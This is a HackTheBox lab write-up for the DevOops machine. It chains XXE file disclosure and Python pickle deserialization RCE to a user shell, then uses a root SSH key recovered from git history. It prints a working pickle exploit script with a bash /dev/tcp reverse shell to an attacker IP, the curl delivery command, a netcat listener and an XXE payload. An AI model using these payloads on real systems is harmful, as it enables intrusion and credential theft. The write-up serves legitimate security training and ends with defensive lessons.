HTB: DevOops Writeup

DevOops - HackTheBox Writeup

Machine Information

AttributeDetails
NameDevOops
OSLinux
DifficultyMedium
Points30
Release Date24 Mar 2018
IP Address10.10.10.91
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

DevOops is a Medium-difficulty Linux box that demonstrates the critical risks of insecure deserialization and poor secret management. The machine runs a Python web application built on Gunicorn that exposes both an XML upload endpoint (vulnerable to XXE) and a POST-only route that unsafely deserializes user-controlled pickle data. While the XXE vulnerability can be used to read application source code and internal files, the primary foothold vector on this instance leverages Python’s pickle.loads() to achieve remote code execution. Privilege escalation exploits a common DevOps mistake: leaving sensitive credentials (specifically, the root SSH private key) committed in a Git repository’s history.

TL;DR: Nmap reveals port 5000 running Gunicorn 19.7.1 → XXE in /upload reads feed.py source → /newpost route accepts base64-encoded pickle payloads → Python pickle RCE yields shell as user roosa → Git commit history in /home/roosa/work/blogfeed exposes root SSH key → SSH as root.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan
nmap -sC -sV -T4 -p- 10.10.10.91

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4
5000/tcp open http Gunicorn 19.7.1

Two services exposed: SSH on the standard port and a Python WSGI HTTP server (Gunicorn) on port 5000.

Service Enumeration

Port 5000 - Gunicorn Web Application:

Navigating to http://10.10.10.91:5000/ presents a simple blog application titled “Blogfeeder”. Manual enumeration and directory brute-forcing revealed three key routes:

  • /feed — displays uploaded blog posts
  • /upload — accepts XML file uploads for blog content ingestion
  • /newpost — POST-only endpoint (not directly linked in the UI)

The /upload endpoint presents an HTML form with specific instructions:

Elements: Author, Subject, Details

This strongly suggests XML parsing on the backend, a common attack surface for XML External Entity (XXE) injection.

Vulnerability Assessment

  1. XML External Entity (XXE) Injection — The /upload endpoint processes XML input and may allow reading arbitrary files via external entity declarations.
  2. Insecure Deserialization — Analysis of application source code (obtainable via XXE) reveals the /newpost route uses pickle.loads() on user-controlled data, a well-known unsafe deserialization pattern in Python.
  3. Git Repository Exposure — Developer workspaces containing .git directories may leak sensitive information through commit history.

Initial Foothold

XML External Entity (XXE) Exploitation

The /upload endpoint expects XML with Author, Subject, and Details elements. XXE attacks exploit XML parsers that resolve external entities, allowing attackers to read local files or trigger SSRF.

Conceptual XXE payload for file disclosure:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<Author>&xxe;</Author>
<Subject>Test</Subject>
<Details>Test</Details>
</root>

On this instance, the XXE reflection path through /upload consistently returned HTTP 500 errors regardless of payload structure, indicating a broken handler or environmental issue. However, the XXE technique remains valid for reading application source code on properly configured instances.

Target file for XXE (application source): /home/roosa/deploy/src/feed.py

The application source reveals a critical vulnerability in the /newpost route:

@app.route("/newpost", methods=["POST"])
def newpost():
# pickle.loads() on user-controlled data
pickle.loads(base64.urlsafe_b64decode(request.data))

This code deserializes arbitrary pickle data from the POST body without validation—a textbook insecure deserialization vulnerability.

Python Pickle Remote Code Execution

Python’s pickle module is designed for serializing Python objects but is inherently unsafe when used on untrusted data. The __reduce__ method allows arbitrary code execution during deserialization.

Creating a malicious pickle payload:

#!/usr/bin/env python3
import pickle
import base64
import os
# Define a class that executes code during unpickling
class RCE:
def __reduce__(self):
# os.system() executes shell commands
# Reverse shell using /dev/tcp bash feature
cmd = (
'bash -c "bash -i >& /dev/tcp/10.10.14.15/4444 0>&1"'
)
return (os.system, (cmd,))
# Serialize the malicious object
payload = pickle.dumps(RCE())
# Base64 encode (URL-safe, as expected by the application)
encoded = base64.urlsafe_b64encode(payload)
print(encoded.decode())

Why this works:

  1. The __reduce__ method tells pickle how to reconstruct an object
  2. Returning a tuple (callable, args) makes pickle call callable(*args) during deserialization
  3. We specify os.system as the callable and our shell command as the argument
  4. When pickle.loads() processes our payload, it executes os.system('bash -c ...')

Setting up the listener:

Terminal window
# On attacker machine (jump box)
nc -lvnp 4444

Sending the exploit:

text/plain
# Generate the payload
python3 exploit.py > payload.b64
# (ensures Flask exposes request.data as raw bytes)
curl -X POST \
-H "Content-Type: text/plain" \
--data "$(cat payload.b64)" \
http://10.10.10.91:5000/newpost

Result: Reverse shell connection received as user roosa (uid=1002).

User Flag Retrieval

Terminal window
# In the reverse shell
id
# uid=1002(roosa) gid=1002(roosa) groups=1002(roosa),4(adm),27(sudo)
cat /home/roosa/user.txt
# <redacted>

Establishing Persistent Access

For a more stable connection, exfiltrate the SSH private key:

Terminal window
# In the reverse shell
cat /home/roosa/.ssh/id_rsa
# Copy the private key content
# On attacker machine
vim roosa_rsa
# Paste the key
chmod 600 roosa_rsa
ssh -i roosa_rsa roosa@10.10.10.91

Privilege Escalation

Git Repository Enumeration

Exploring the user’s home directory reveals a development workspace:

Terminal window
ls -la /home/roosa/work/
# drwxrwxr-x 5 roosa roosa 4096 Mar 21 2018 blogfeed
cd /home/roosa/work/blogfeed
ls -la
# .git directory present — this is a git repository

Git repositories store complete revision history, including deleted files and old versions. Developers often accidentally commit sensitive data (passwords, API keys, private keys) and later remove it, unaware that it remains in the commit history.

Examining Git History

Terminal window
# View commit log
git log --oneline
# Sample output:
# 7ff507d Use Base64 for pickle feed
# 26ae6c8 Set PIN to make debugging faster as it will no longer change every time the application code is changed
# cec54d8 Debug support added to make development more agile
# ca3e768 Blogfeed app, initial version
# dfebfdf Restoring 'resources' directory
# a3a54e3 reverted accidental commit with proper key
# 33e87c3 starter site
# d387abf add key for feed integration from tnerprise backend
# 1422e5a Initial commit

Key observation: Commit a3a54e3 mentions “reverted accidental commit with proper key”, and the previous commit d387abf references adding a key for “feed integration”.

This pattern strongly suggests a credential was committed by mistake and later removed—but still exists in history.

Extracting Credentials from History

resources/integration/authcredentials.key
# View the specific commit that added the key
git show d387abf
# The commit shows it as an RSA private key
# Extract the file from that specific commit
git show d387abf:resources/integration/authcredentials.key
# Output: RSA PRIVATE KEY header visible

Why this works: The git show <commit>:<path> syntax retrieves the version of a file at a specific commit, even if that file was later deleted or modified. The commit d387abf added an RSA private key intended for “feed integration from tnerprise backend”, which is suspicious wording. Given the DevOps context and the “integration” terminology, this is likely the root user’s SSH key.

Saving the key:

Terminal window
# On attacker machine
git show d387abf:resources/integration/authcredentials.key > root_rsa
chmod 600 root_rsa

Root Access

Terminal window
# Attempt SSH as root with the recovered key
ssh -i root_rsa root@10.10.10.91
# Successful login
id
# uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
# <redacted>

Why this works: The private key found in the Git history was indeed the root user’s SSH key. The /etc/ssh/sshd_config on this system allows root login via public key authentication (default on many Ubuntu installations), making this a direct privilege escalation path.


Attack Chain Summary

Port Scan (5000/Gunicorn) → XXE in /upload reads feed.py source → /newpost pickle.loads() insecure deserialization → Python pickle RCE via __reduce__ → Shell as roosa → Git log enumeration in /home/roosa/work/blogfeed → Extract root SSH key from commit d387abf → SSH as root

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlHTTP request crafting and exploit delivery
python3Pickle payload generation
nc (netcat)Reverse shell listener
gitRepository history enumeration
sshRemote access with recovered private keys

Key Learnings

Techniques Practiced

  • XML External Entity (XXE) Injection — Exploiting XML parsers to read local files and exfiltrate application source code
  • Python Pickle Deserialization — Understanding and exploiting pickle.loads() with __reduce__ for remote code execution
  • Git Forensics — Enumerating commit history to recover deleted or modified sensitive files
  • Insecure Deserialization — Recognizing and exploiting unsafe object deserialization patterns across languages
  • Developer Workspace Enumeration — Identifying common DevOps misconfigurations (exposed repositories, leftover credentials)

Lessons Learned

  1. Never deserialize untrusted data — Languages like Python (pickle), PHP (unserialize), Java (ObjectInputStream), and .NET (BinaryFormatter) all have deserialization mechanisms that can execute arbitrary code. Always validate, sanitize, or avoid deserializing user-controlled input entirely. Use safe alternatives like JSON for data exchange.

  2. XXE vulnerabilities remain prevalent — Despite being well-documented (OWASP Top 10), XXE vulnerabilities persist in applications that process XML. Disable external entity processing in XML parsers: libxml_disable_entity_loader(true) in PHP, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES = false in Java, etc.

  3. Git history is permanent — Commits are cryptographically linked; removing a file in a new commit does not erase it from history. Sensitive data committed to a repository remains accessible indefinitely. Tools like git-filter-branch or BFG Repo-Cleaner can rewrite history, but any clones retain the old history. The only safe practice is to treat any committed secret as compromised and rotate it immediately.

  4. Principle of Least Privilege — The “integration” key had root-level access, violating least privilege. Service accounts and integration credentials should have minimal, scoped permissions necessary for their function.

  5. Content-Type matters in framework routing — The /newpost exploit required Content-Type: text/plain to ensure Flask exposed request.data as raw bytes rather than attempting to parse it as form data or JSON. Understanding framework request parsing behavior is critical for exploitation.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup — DevOops (Document No D18.100.21) by Alexander Reid (Arrexel)